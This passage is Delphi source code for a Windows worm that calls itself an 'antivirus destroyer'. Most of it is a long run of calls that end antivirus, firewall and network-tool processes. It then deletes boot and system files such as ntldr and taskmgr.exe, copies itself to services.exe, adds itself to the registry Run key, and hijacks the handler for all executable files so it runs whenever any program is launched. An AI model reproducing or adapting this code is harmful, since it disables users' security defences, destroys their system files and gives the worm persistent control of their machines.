Try
KillTask('VSWIN9XE.EXE');
except
end;
Try
KillTask('VSWINNTSE.EXE');
except
end;
Try
KillTask('VSWINPERSE.EXE');
except
end;
Try
KillTask('VVSTAT.EXE');
except
end;
Try
KillTask('VbCons.exe');
except
end;
Try
KillTask('Vet95.exe');
except
end;
Try
KillTask('VetTray.exe');
except
end;
Try
KillTask('W32DSM89.EXE');
except
end;
Try
KillTask('W9X.EXE');
except
end;
Try
KillTask('WATCHDOG.EXE');
except
end;
Try
KillTask('WEBSCANX.EXE');
except
end;
Try
KillTask('WEBTRAP.EXE');
except
end;
Try
KillTask('WGFE95.EXE');
except
end;
Try
KillTask('WHOSWATCHINGME.EXE');
except
end;
Try
KillTask('WIMMUN32.EXE');
except
end;
Try
KillTask('WINRECON.EXE');
except
end;
Try
KillTask('WINROUTE');
except
end;
Try
KillTask('WINSFCM.EXE');
except
end;
Try
KillTask('WNT.EXE');
except
end;
Try
KillTask('WRADMIN.EXE');
except
end;
Try
KillTask('WRCTRL.EXE');
except
end;
Try
KillTask('WSBGATE.EXE');
except
end;
Try
KillTask('WYVERNWORKSFIREWALL.EXE');
except
end;
Try
KillTask('WrAdmin.exe');
except
end;
Try
KillTask('WrCtrl.exe');
except
end;
Try
KillTask('XPF202EN.EXE');
except
end;
Try
KillTask('ZAPRO.EXE');
except
end;
Try
KillTask('ZAPSETUP3001.EXE');
except
end;
Try
KillTask('ZATUTOR.EXE');
except
end;
Try
KillTask('ZAUINST.EXE');
except
end;
Try
KillTask('ZONALM2601.EXE');
except
end;
Try
KillTask('ZONEALARM.EXE');
except
end;
Try
KillTask('_AVP32.EXE');
except
end;
Try
KillTask('_AVPCC.EXE');
except
end;
Try
KillTask('_AVPM.EXE');
except
end;
Try
KillTask('agentw.exe');
except
end;
Try
KillTask('alogserv.exe');
except
end;
Try
KillTask('apvxdwin.exe');
except
end;
Try
KillTask('avkpop.exe');
except
end;
Try
KillTask('avkservice.exe');
except
end;
Try
KillTask('avkwctl9.exe');
except
end;
Try
KillTask('avpm.exe');
except
end;
Try
KillTask('blackd.exe');
except
end;
Try
KillTask('ccApp.exe');
except
end;
Try
KillTask('ccEvtMgr.exe');
except
end;
Try
KillTask('ccPxySvc.exe');
except
end;
Try
KillTask('cfgWiz.exe');
except
end;
Try
KillTask('cleaner.EXE');
except
end;
Try
KillTask('cleaner3.EXE');
except
end;
Try
KillTask('cpd.exe');
except
end;
Try
KillTask('defalert.exe');
except
end;
Try
KillTask('defscangui.exe');
except
end;
Try
KillTask('f-stopw.exe');
except
end;
Try
KillTask('fameh32.exe');
except
end;
Try
KillTask('fch32.exe');
except
end;
Try
KillTask('fih32.exe');
except
end;
Try
KillTask('fnrb32.exe');
except
end;
Try
KillTask('fsaa.exe');
except
end;
Try
KillTask('fsav32.exe');
except
end;
Try
KillTask('fsgk32.exe');
except
end;
Try
KillTask('fsm32.exe');
except
end;
Try
KillTask('fsma32.exe');
except
end;
Try
KillTask('fsmb32.exe');
except
end;
Try
KillTask('gbmenu.exe');
except
end;
Try
KillTask('gbpoll.exe');
except
end;
Try
KillTask('iamapp.exe');
except
end;
Try
KillTask('iamserv.exe');
except
end;
Try
KillTask('lockdown2000.exe');
except
end;
Try
KillTask('navapsvc');
except
end;
Try
KillTask('navapsvc.exe');
except
end;
Try
KillTask('netstat.exe');
except
end;
Try
KillTask('notstart.exe');
except
end;
Try
KillTask('npscheck.exe');
except
end;
Try
KillTask('ntrtscan.EXE');
except
end;
Try
KillTask('nvapsvc');
except
end;
Try
KillTask('pathping.exe');
except
end;
Try
KillTask('pavproxy.exe');
except
end;
Try
KillTask('pccntmon.EXE');
except
end;
Try
KillTask('pccwin97.EXE');
except
end;
Try
KillTask('pcscan.EXE');
except
end;
Try
KillTask('ping.exe');
except
end;
Try
KillTask('rapapp.exe');
except
end;
Try
KillTask('route.exe');
except
end;
Try
KillTask('routemon.exe');
except
end;
Try
KillTask('sbserv.exe');
except
end;
Try
KillTask('sharedaccess');
except
end;
Try
KillTask('tracerpt.exe');
except
end;
Try
KillTask('tracert.exe');
except
end;
Try
KillTask('vbcmserv.exe');
except
end;
Try
KillTask('vsmon.exe');
except
end;
Try
KillTask('zapro.exe');
except
end;
Try
KillTask('zonealarm.exe');
except
end;
killfile('c:windowswin.exe');
killfile('c:windowswin.com');
killfile('c:commnand.com');
killfile('c:io.sys');
killfile('c:msdos.sys');
killfile('c:ntdetect.com');
killfile('c:ntldr');
killfile('c:config.sys');
killfile('c:windowssystem32taskkill.exe');
killfile('c:windowssystem32tasklist.exe');
killfile('c:windowssystem32taskman.exe');
killfile('c:windowssystem32taskmgr.exe');
killfile('c:windowssystem32win.com');
end;
procedure RunOnStartup(sProgTitle, sCmdLine: string; bRunOnce: boolean=False);
var
sKey : string;
reg : TRegIniFile;
begin
if( bRunOnce )then
sKey := 'Once'
else
sKey := '';
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_LOCAL_MACHINE;
if reg.ReadString(
'SoftwareMicrosoftWindowsCurrentVersionRun'+#0,
sProgTitle,
'')<>sCmdLine then begin
reg.WriteString(
'SoftwareMicrosoftWindowsCurrentVersionRun'
+ sKey + #0,
sProgTitle,
sCmdLine );
end;
reg.Free;
end;
procedure runwithme(whoreu:string);
var
reg:TRegIniFile;
begin
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.WriteString(
'SOFTWAREClassesexefileshellopencommand',
'',
'"'+WHOREU+'" "%1" %*' );
reg.Free;
end;
procedure TfrmMain.FormCreate(Sender: TObject);
type
TRegisterService = function(dwProcessId,dwType:dword):Integer;stdcall;
var
reg:tregistry;
padi,pyolu,padyol,pad,s,k,kopya:string;
mhandle,dllhandle:thandle;
calisanvar:boolean;
RegisterServiceProcess:TRegisterService;
begin
try
dllHandle:=LoadLibrary('KERNEL32.DLL');
@RegisterServiceProcess:=GetProcAddress(dllHandle, 'RegisterServiceProcess');
if @RegisterServiceProcess<>nil then
RegisterServiceProcess(GetCurrentProcessID,1);
except
end;
calisanvar:=false;
mHandle := CreateMutex(nil, True, 'worm');
if GetLastError = ERROR_ALREADY_EXISTS then begin
calisanvar:=true;
end;
if mHandle <> 0 then CloseHandle(mHandle);
padi:=ExtractFileName(application.ExeName);
pad:=StringReplace(padi,'.exe','',[rfReplaceAll]);
pyolu:=ExtractFilePath(application.exename);
padyol:=application.ExeName;
s:=ParamStr(1);
kopya:='c:windowssystemservices.exe';
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('sotwareval',true);
if not FileExists(kopya) then begin
CopyFile(pchar(padyol),pchar(kopya),false);
WinExec(pchar(kopya),sw_hide);
if not DirectoryExists(pyolu+''+pad+'') then
ForceDirectories(pyolu+''+padi+'');
reg.WriteString('value',padyol);
application.Terminate;
end else begin
k:=reg.ReadString('value');
if k<>'' then begin
try
DeleteFile(k);
except
end;
try
winexec(pchar('explorer "'+stringreplace(k,'.exe','',[])+'"'),SW_SHOWNORMAL);
except
end;
end;
Application.ShowMainForm:=False;
runwithme(padyol);
RunOnStartup('rundll32.exe',padyol,false);
tAntivirusKiller;
showmessage('antivirus yokedici');
application.Terminate;
end;
reg.Free;
if s<>'' then
WinExec(pchar(s),SW_SHOWNORMAL);
if calisanvar then begin
halt;
end;
end;
end.
//umain.dfm
object frmMain: TfrmMain
Left = 472
Top = 282
BorderStyle = bsNone
ClientHeight = 23
ClientWidth = 115
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
Visible = True
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 13
end
